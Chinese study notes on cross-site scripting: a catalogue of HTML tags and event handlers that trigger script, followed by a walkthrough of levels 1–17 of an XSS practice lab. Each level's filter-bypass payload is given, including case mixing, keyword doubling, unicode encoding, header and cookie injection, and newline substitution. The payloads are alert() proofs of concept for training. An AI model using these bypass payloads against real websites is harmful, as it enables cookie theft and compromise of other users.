1.1:小迪教程:
https://www.w3school.com.cn/js/index.asp
1.2常用的一些标签:
1.a标签href超链接标签:
<!-- 点击链接触发 - JavaScript 伪协议 -->
<a href="javascript:alert(1)")>XSS1</a>
<!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件-->
<a href="" onfocus="alert(1)" autofocus>XSS3</a>
<!-- 事件监听,当鼠标划过元素时触发 -->
<a href="" onmouseover="alert(1)">XSS5</a>
<!-- 事件监听,当鼠标划出元素时触发 -->
<a href="" onmouseout="alert(1)">XSS6</a>
2.button按钮标签:
<!--事件监听:焦点事件,页面加载完成后-->
<button onfocus=alert(1) autofocus>XSS1</button> //页面加载完成后就会出现弹框。
<button onclick=alert(1)>XSS2</button> //单击按钮
<button onmouseover=alert(1)>XSS3</button> //鼠标接近按钮
<button onmouseout=alert(1)>XSS4</button> //鼠标离开 按钮
<button onmouseup=alert(1)>XSS5</button> //点击
<button onmousedown=alert(1)>XSS6</button> //点击事件
3.img 图片加载标签:
<img src=1 onerror=alert("xss");>
在页面刷新的时候会出现弹框,加载图片,图片链接也可以换成正常图片的链接
<img src=javascript:alert("xss")>
4.script 的标签,页面渲染用的
<script>alert("xss");</script>
5.input 标签
<input onfocus="alert('xss');"> //当点击了这个输入框的时候,页面就会一直回弹xss
6.ddetails标签
列表标签,也是页面自动刷新的时候,自动进入弹框
<details open ontoggle="alert('xss');"></details>
7.svg标签
<svg onload=alert("xss");></svg> //页面刷新的时候出现
8.select标签
通过 autofocus属性执行本身的 focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>
9iframe标签
<iframe onload=alert("xss");></iframe> //刷新出现弹窗
<iframe src=javascript:alert("xss");></iframe>
10.<video >标签:插入小视频的标签
<video><source onerror="alert(1)">
11.form 标签
<form action="javascript:alert(1)"><input type=submit>
xss攻击是把html代码插入到他原本的代码中来执行。
二:xss的种类:
反射型xss:
$code=$_GET['x'];
echo $code;
这个xss攻击只会出现再你这个页面中,不会影响其他用户,但是可以盗取cookie
存储型xss:
把xss攻击语句存储到数据库中,只要访问了这个页面的用户就都会收到攻击
三:xss靶场
第一关:
修改名字之后就,会把名字输出到这个页面上面,查看源代码,这个1插入到了html代码中。
/xss/level1.php?name=<script>alert(1);</script>
输入简单的html代码就可以插入到那个源码中,就实现看攻击,并没有做任何的过滤。
第二关:
当输入e的时候,也会插入到源代码中,然后就尝试上面同样的方法。
可以发现这个代码直接插进去了,右键点击转换为html代码。查看为什么这个代码没有执行。
然后可以发现是html代码的尖括号被实体化了。然后就想怎么去避开这个实体化。就是把尖括号给换了。
发现第二个填空处的test,没有进行实体化,但是被一个value标签包裹着,那么就把这个标签闭合了好,这样里面的代码就能执行了。
"> <script>alert()</script> <"
第三关:
还是实体编码,看上面的闭合方式。
可以看到上面的冒号被实体化了,看看冒号该怎么进行绕过。
第4关:
可以看到输入的语句中<>和/都被替换成空了,不管多少次的尖括号都被替换成空了。
就选择上面的没有尖括号的语句,然后这个判断闭合方式。(先试试单引号再说)
然后可以发现人家是双引号闭合。
" onfocus=javascript:alert() "
第5关:
输入一堆特殊符号,看到他们并没有进行实体化。可以看到里面的on和script都会被替换掉。不替换标签的种类,种类中不要含义<script 和on。把闭合方式也弄上,这样才能构成playload
"> <a href=javascript:alert()>xxx</a> <"
第6关
这关中的href被过滤了。尝试其他的标签。
src也被过滤了。
可以看到大部分的标签都被过滤,尝试其他的方法。
尝试大小写,因为字母的替换是看大小写的。大小写超过绕过。
"> <Script>alert()</Script> <"
第7关:
输入常规的js代码,发现被替换成空了。
把字母替换成空,剩下的拼接起来是那个js代码就可以。
"> <scscriptript>alert()</scriscriptpt> <"
第8关:
还是常规的看,什么东西会被替换掉。
可以看到过滤script.on,href,input双引号,单引号等
但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议,这个输入的链接被直接插入到这个href里面当作链接来用。
把上面的链接,进行unicode编码就可以。
javascript:alert()
第9关:
和往常一样看过滤,然后发现这个编码失效。不能往href添加东西了。输入任何东西,都不会往href里面添加。
说链接不合法,然后看的原代码
就是看这个写入的链接包含不包含http://
同时让这个js代码,还得把这个http://给注释了。还得让注释的东西进行闭合,所以要选着/**/这个符号。
javascript:alert()/* http:// */
第10关:
没有输入框,这个时候就直接进行url编码:
发现就简简单单的echo一下,实体化了。
查看源代码,往里面传入参数就可以了,他那个url里面并没有这个参数,没有办法。
把那个input属性给显示出来。text
?t_sort=" onfocus=javascript:alert() type="text
第11关:
法一:查看源代码和上一个一样的绕过方法。
法2:HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
这个11关也可以用上一个页面进行绕过。可以发现,他这里插入了一个上一个页面的链接,这里就是http请求头里面的referer头。
虚构referer头,发现这个头过滤了一些东西。这个时候绕过这些尖括号换成了空
换成不包含尖括号的,但是发现这么构造出来,这个框框看不见,显示不出来,所以让他显示,加上类型。
" onfocus=javascript:alert() "
" onfocus=javascript:alert() type="text" "
第12关:
看看这个和上一个一样的,这个地方是浏览器
User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。
1 |
|
UA 字符串各部分的含义如下:
Mozilla/5.0
:表示当前浏览器所使用的用户代理标识符的版本号。它几乎是一个固定的写法。(Windows NT 10.0; Win64; x64)
:表示当前浏览器所处操作系统的一些信息。该字段表示浏览器所在的操作系统是64
位的Windows 10.0
操作系统,以及所使用的处理器的架构是64
位的。AppleWebKit/537.36
:表示当前浏览器所使用的渲染引擎。该字段表示浏览器使用的渲染引擎是537.36
版本的Webkit
引擎。(KHTML, like Gecko)
:表示当前浏览器所支持的 Web 标准与技术。该字段表示浏览器具有类似于KHTML
和Gecko
引擎的渲染能力。这个字段主要是为了保证浏览器的兼容性。Chrome/114.0.0.0
:表示当前浏览器的内核名称以及版本号。该字段表示浏览器所使用的内核是114.0.0.0
版本的Chrome
内核。Safari/537.36
:表示浏览器所支持的一些特性和功能。该字段表示浏览器支持537.36
版本的Safari
浏览器-
第13关
可以看到cookie里面存储了这样的一个元素
这个元素和代码中显示的一摸一样。把cookie的值修改成js代码就可以了。显示文本。
第14关:
第15题:
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload.
第16关:
和之前的一样,这个时候就开始打印,选取常用的一些js代码,然后进行排除黑名单。
黑名单里面有script和/,被实体化。unicode也不行。
可以用这个当作一个测试的语句:
这个标签也可以试试。
<p οnmοusedοwn=alert()>abc</p>
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
空格可以用回车来代替绕过,空格被过滤掉,可以用这个回车来绕过。
回车的url编码是%0a。
空格被代替了,可以用这个%0a来弄。
<img%0asrc=1%0aonerror=alert("xss");>
?keyword=<svg%0Aonload=alert(1)>
第17关:
这里可以看到是字符串的拼接。
对比发现,虽然加了的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)